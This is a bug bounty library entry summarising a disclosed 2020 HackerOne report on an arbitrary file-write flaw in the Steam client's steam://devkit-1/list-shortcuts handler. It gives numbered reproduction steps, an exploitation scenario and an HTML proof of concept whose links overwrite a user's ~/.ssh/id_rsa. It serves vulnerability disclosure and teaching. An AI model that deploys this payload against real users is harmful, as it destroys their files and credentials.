# [steam client] Opening a specific steam:// url overwrites files at an arbitrary location

A steam:// devkit URL with a response parameter writes request output to an arbitrary file path, letting an attacker overwrite or wipe user files like SSH keys.

- Payout: $750
- Severity: medium
- Program: Valve
- Found by: kbeckmann
- Disclosed: 2020-09-22
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/667242
- Library page: https://bugbountylibrary.com/r/h1%3A667242
- Tags: area:os domain:desktop impact:data-leak impact:integrity kind:bounty platform:hackerone sev:medium technique:recon vuln:path-traversal

**Target:** Steam client (steam.exe) steam:// URL handler, devkit-1/list-shortcuts endpoint
**Root cause:** The devkit-1/list-shortcuts handler accepts a user-controlled `response` parameter and writes the request response to that path without validating or restricting the destination, allowing arbitrary file write/overwrite.
**Steps:**
1. Craft URL `steam://devkit-1/list-shortcuts?response=/tmp/testfile`
2. Open the URL in the Steam client (directly or via an iframe on a webpage)
3. Observe `/tmp/testfile` created containing the request response
4. Point `response` at a sensitive path e.g. `/home/ubuntu/.ssh/id_rsa` to overwrite it
**How found:** Researcher inspected the devkit-1/list-shortcuts endpoint and noticed the `response` parameter controlled a file write destination, then tested arbitrary paths.
**Exploitation:** Attacker hosts a page with an iframe or link to the crafted steam:// URL; when the victim's Steam client processes it, the handler writes the response body to the attacker-chosen absolute path, overwriting existing files owned/writable by the Steam user.
**Insight:** Custom protocol handlers (steam://, app://) often expose internal devkit/debug endpoints with file-path parameters; enumerate handler routes and test parameters that look like output/response/log paths for arbitrary file write.

## Proof of concept (copied exactly from the original report)

**HTML PoC with steam:// URLs overwriting files**

```
<html>
<head>
  <title>Steam client POC</title>
</head>

<body>
    <a href="steam://devkit-1/list-shortcuts?response=/tmp/testfile">Create /tmp/testfile</a>
    <a href="steam://devkit-1/list-shortcuts?response=/home/ubuntu/.ssh/id_rsa">Overwrite /home/ubuntu/.ssh/id_rsa</a>
</body>
</html>
```

